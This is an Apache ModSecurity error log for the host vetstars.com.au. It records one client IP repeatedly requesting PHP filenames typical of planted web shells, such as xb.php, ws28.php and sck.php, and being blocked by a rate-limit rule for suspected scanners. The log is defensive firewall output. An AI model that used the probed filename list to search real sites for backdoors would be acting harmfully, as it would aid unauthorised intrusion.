[Tue Jan 06 19:06:26.069410 2026] [:error] [pid 45012:tid 45031] [client 4.213.57.158:12177] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-gzone.php"] [unique_id "aVzsshaMAxCuju1d0ubW6QAAANE"]
[Tue Jan 06 19:06:28.738674 2026] [:error] [pid 44903:tid 44910] [client 4.213.57.158:18397] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f2r4.php"] [unique_id "aVzstNhHqjs38zbkQPD4vgAAAAM"]
[Tue Jan 06 19:06:31.853803 2026] [:error] [pid 44905:tid 44982] [client 4.213.57.158:18405] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f2r4.php"] [unique_id "aVzst7u7ufwWVst9EAu_6QAAAI4"]
[Tue Jan 06 19:06:36.617250 2026] [:error] [pid 35140:tid 35159] [client 4.213.57.158:27152] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f2r4.php"] [unique_id "aVzsvHoQaIDFMbT-XMyzegAAARE"]
[Tue Jan 06 19:06:44.418480 2026] [:error] [pid 45012:tid 45030] [client 4.213.57.158:18208] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cafe.php"] [unique_id "aVzsxBaMAxCuju1d0ubXAAAAANA"]
[Tue Jan 06 19:06:49.650053 2026] [:error] [pid 45959:tid 45975] [client 4.213.57.158:16191] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cafe.php"] [unique_id "aVzsyVajdn8P3hjgMYyqaAAAAU0"]
[Tue Jan 06 19:07:58.883906 2026] [:error] [pid 44905:tid 44972] [client 4.213.57.158:16131] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aVztDru7ufwWVst9EAvA2AAAAIQ"]
[Tue Jan 06 19:08:01.828445 2026] [:error] [pid 44904:tid 44952] [client 4.213.57.158:1195] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aVztETtieuI1BJEZcvcVnQAAAEs"]
[Tue Jan 06 19:08:04.464798 2026] [:error] [pid 45959:tid 45980] [client 4.213.57.158:20982] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aVztFFajdn8P3hjgMYyq_wAAAVI"]
[Tue Jan 06 19:08:06.280222 2026] [:error] [pid 44904:tid 44965] [client 4.213.57.158:27250] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aVztFjtieuI1BJEZcvcVoAAAAFg"]
[Tue Jan 06 19:08:07.959805 2026] [:error] [pid 44903:tid 44927] [client 4.213.57.158:27541] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws28.php"] [unique_id "aVztF9hHqjs38zbkQPD5MgAAABQ"]
[Tue Jan 06 19:08:12.036065 2026] [:error] [pid 44903:tid 44930] [client 4.213.57.158:16321] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws28.php"] [unique_id "aVztHNhHqjs38zbkQPD5PgAAABY"]
[Tue Jan 06 19:08:15.461070 2026] [:error] [pid 45012:tid 45027] [client 4.213.57.158:9480] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws28.php"] [unique_id "aVztHxaMAxCuju1d0ubXbgAAAM0"]
[Tue Jan 06 19:08:17.925156 2026] [:error] [pid 44905:tid 44982] [client 4.213.57.158:9517] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws28.php"] [unique_id "aVztIbu7ufwWVst9EAvBCAAAAI4"]
[Tue Jan 06 19:08:21.149031 2026] [:error] [pid 45959:tid 45985] [client 4.213.57.158:18679] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dbc.php"] [unique_id "aVztJVajdn8P3hjgMYyrFwAAAVc"]
[Tue Jan 06 19:08:28.103934 2026] [:error] [pid 44904:tid 44956] [client 4.213.57.158:27549] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dbc.php"] [unique_id "aVztLDtieuI1BJEZcvcVwQAAAE8"]
[Tue Jan 06 19:08:30.558537 2026] [:error] [pid 35140:tid 35165] [client 4.213.57.158:7624] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dbc.php"] [unique_id "aVztLnoQaIDFMbT-XMy0DwAAARc"]
[Tue Jan 06 19:08:33.889817 2026] [:error] [pid 45012:tid 45035] [client 4.213.57.158:1826] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aVztMRaMAxCuju1d0ubXkAAAANU"]
[Tue Jan 06 19:08:36.845922 2026] [:error] [pid 44903:tid 44930] [client 4.213.57.158:27557] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aVztNNhHqjs38zbkQPD5jwAAABY"]
[Tue Jan 06 19:08:40.459224 2026] [:error] [pid 44903:tid 44926] [client 4.213.57.158:18664] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aVztONhHqjs38zbkQPD5kQAAABM"]
[Tue Jan 06 19:08:42.517766 2026] [:error] [pid 44905:tid 44974] [client 4.213.57.158:6461] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aVztOru7ufwWVst9EAvBNwAAAIY"]
[Tue Jan 06 19:08:45.799191 2026] [:error] [pid 44905:tid 44978] [client 4.213.57.158:17986] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adin.php"] [unique_id "aVztPbu7ufwWVst9EAvBPQAAAIo"]
[Tue Jan 06 19:08:46.842274 2026] [:error] [pid 45959:tid 45982] [client 4.213.57.158:28377] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adin.php"] [unique_id "aVztPlajdn8P3hjgMYyrLgAAAVQ"]
[Tue Jan 06 19:08:48.051892 2026] [:error] [pid 45959:tid 45975] [client 4.213.57.158:1824] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adin.php"] [unique_id "aVztQFajdn8P3hjgMYyrMwAAAU0"]
[Tue Jan 06 19:08:51.376802 2026] [:error] [pid 45012:tid 45019] [client 4.213.57.158:28368] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adin.php"] [unique_id "aVztQxaMAxCuju1d0ubXsgAAAMU"]
[Tue Jan 06 19:08:53.738243 2026] [:error] [pid 44903:tid 44922] [client 4.213.57.158:16226] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ifm.php"] [unique_id "aVztRdhHqjs38zbkQPD5pgAAAA8"]
[Tue Jan 06 19:09:44.338830 2026] [:error] [pid 44905:tid 44982] [client 4.213.57.158:7630] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aVzteLu7ufwWVst9EAvBmwAAAI4"]
[Tue Jan 06 19:09:49.009691 2026] [:error] [pid 45959:tid 45983] [client 4.213.57.158:27500] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aVztfVajdn8P3hjgMYyruAAAAVU"]
[Tue Jan 06 19:09:53.531227 2026] [:error] [pid 44904:tid 44963] [client 4.213.57.158:9903] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aVztgTtieuI1BJEZcvcWawAAAFY"]
[Tue Jan 06 19:09:54.454146 2026] [:error] [pid 45012:tid 45016] [client 4.213.57.158:7636] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aVztghaMAxCuju1d0ubYDgAAAMI"]
[Tue Jan 06 19:09:57.565462 2026] [:error] [pid 44905:tid 44973] [client 4.213.57.158:27503] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah24.php"] [unique_id "aVzthbu7ufwWVst9EAvBpQAAAIU"]
[Tue Jan 06 19:10:03.138059 2026] [:error] [pid 44905:tid 44982] [client 4.213.57.158:1115] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah24.php"] [unique_id "aVzti7u7ufwWVst9EAvBpwAAAI4"]
[Tue Jan 06 19:10:05.005744 2026] [:error] [pid 45012:tid 45031] [client 4.213.57.158:7563] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah24.php"] [unique_id "aVztjRaMAxCuju1d0ubYKwAAANE"]
[Tue Jan 06 19:10:12.211766 2026] [:error] [pid 44903:tid 44919] [client 4.213.57.158:7981] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sko.php"] [unique_id "aVztlNhHqjs38zbkQPD6FQAAAAw"]
[Tue Jan 06 19:10:17.061428 2026] [:error] [pid 44905:tid 44977] [client 4.213.57.158:9940] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sko.php"] [unique_id "aVztmbu7ufwWVst9EAvBugAAAIk"]
[Tue Jan 06 19:10:20.055783 2026] [:error] [pid 45012:tid 45019] [client 4.213.57.158:9128] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sko.php"] [unique_id "aVztnBaMAxCuju1d0ubYLwAAAMU"]
[Tue Jan 06 19:10:24.384792 2026] [:error] [pid 44905:tid 44991] [client 4.213.57.158:1204] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sko.php"] [unique_id "aVztoLu7ufwWVst9EAvBvgAAAJc"]
[Tue Jan 06 19:10:29.168384 2026] [:error] [pid 45959:tid 45973] [client 4.213.57.158:13967] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wakak.php"] [unique_id "aVztpVajdn8P3hjgMYysDQAAAUs"]
[Tue Jan 06 19:10:35.496103 2026] [:error] [pid 45012:tid 45021] [client 4.213.57.158:27947] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wakak.php"] [unique_id "aVztqxaMAxCuju1d0ubYNwAAAMc"]
[Tue Jan 06 19:10:38.826647 2026] [:error] [pid 35140:tid 35152] [client 4.213.57.158:10854] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wakak.php"] [unique_id "aVztrnoQaIDFMbT-XMy0xAAAAQo"]
[Tue Jan 06 19:11:33.429119 2026] [:error] [pid 44904:tid 44950] [client 4.213.57.158:7668] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aVzt5TtieuI1BJEZcvcW_QAAAEk"]
[Tue Jan 06 19:11:34.578604 2026] [:error] [pid 44903:tid 44920] [client 4.213.57.158:18513] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aVzt5thHqjs38zbkQPD6dAAAAA0"]
[Tue Jan 06 19:11:36.245978 2026] [:error] [pid 44905:tid 44980] [client 4.213.57.158:9131] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aVzt6Lu7ufwWVst9EAvCEAAAAIw"]
[Tue Jan 06 19:11:40.119041 2026] [:error] [pid 45012:tid 45018] [client 4.213.57.158:9147] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aVzt7BaMAxCuju1d0ubYtwAAAMQ"]
[Tue Jan 06 19:11:40.657260 2026] [:error] [pid 45012:tid 45014] [client 4.213.57.158:16082] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sck.php"] [unique_id "aVzt7BaMAxCuju1d0ubYuAAAAMA"]
[Tue Jan 06 19:11:44.628014 2026] [:error] [pid 44903:tid 44926] [client 4.213.57.158:18222] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sck.php"] [unique_id "aVzt8NhHqjs38zbkQPD6fgAAABM"]
[Tue Jan 06 19:11:47.514830 2026] [:error] [pid 45959:tid 45979] [client 4.213.57.158:12937] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sck.php"] [unique_id "aVzt81ajdn8P3hjgMYysyAAAAVE"]
[Tue Jan 06 19:11:51.131269 2026] [:error] [pid 45012:tid 45019] [client 4.213.57.158:13475] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sck.php"] [unique_id "aVzt9xaMAxCuju1d0ubYxQAAAMU"]
[Tue Jan 06 19:11:57.712567 2026] [:error] [pid 35140:tid 35153] [client 4.213.57.158:13454] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww2.php"] [unique_id "aVzt_XoQaIDFMbT-XMy1IQAAAQs"]
[Tue Jan 06 19:11:59.963386 2026] [:error] [pid 44905:tid 44972] [client 4.213.57.158:13495] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww2.php"] [unique_id "aVzt_7u7ufwWVst9EAvCIwAAAIQ"]
[Tue Jan 06 19:12:02.898167 2026] [:error] [pid 35140:tid 35155] [client 4.213.57.158:10358] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww2.php"] [unique_id "aVzuAnoQaIDFMbT-XMy1LgAAAQ0"]
[Tue Jan 06 19:12:04.404672 2026] [:error] [pid 35140:tid 35162] [client 4.213.57.158:15947] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww2.php"] [unique_id "aVzuBHoQaIDFMbT-XMy1MgAAARQ"]
[Tue Jan 06 19:12:08.281826 2026] [:error] [pid 35140:tid 35143] [client 4.213.57.158:1708] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aVzuCHoQaIDFMbT-XMy1RwAAAQE"]
[Tue Jan 06 19:12:10.136649 2026] [:error] [pid 45959:tid 45985] [client 4.213.57.158:1259] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aVzuClajdn8P3hjgMYys8wAAAVc"]
[Tue Jan 06 19:12:13.823651 2026] [:error] [pid 44903:tid 44919] [client 4.213.57.158:8714] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aVzuDdhHqjs38zbkQPD6lgAAAAw"]
[Tue Jan 06 19:12:15.087012 2026] [:error] [pid 45959:tid 45975] [client 4.213.57.158:15411] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aVzuD1ajdn8P3hjgMYys_gAAAU0"]
[Tue Jan 06 19:12:23.099660 2026] [:error] [pid 45959:tid 45986] [client 4.213.57.158:16343] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVzuF1ajdn8P3hjgMYytEQAAAVg"]
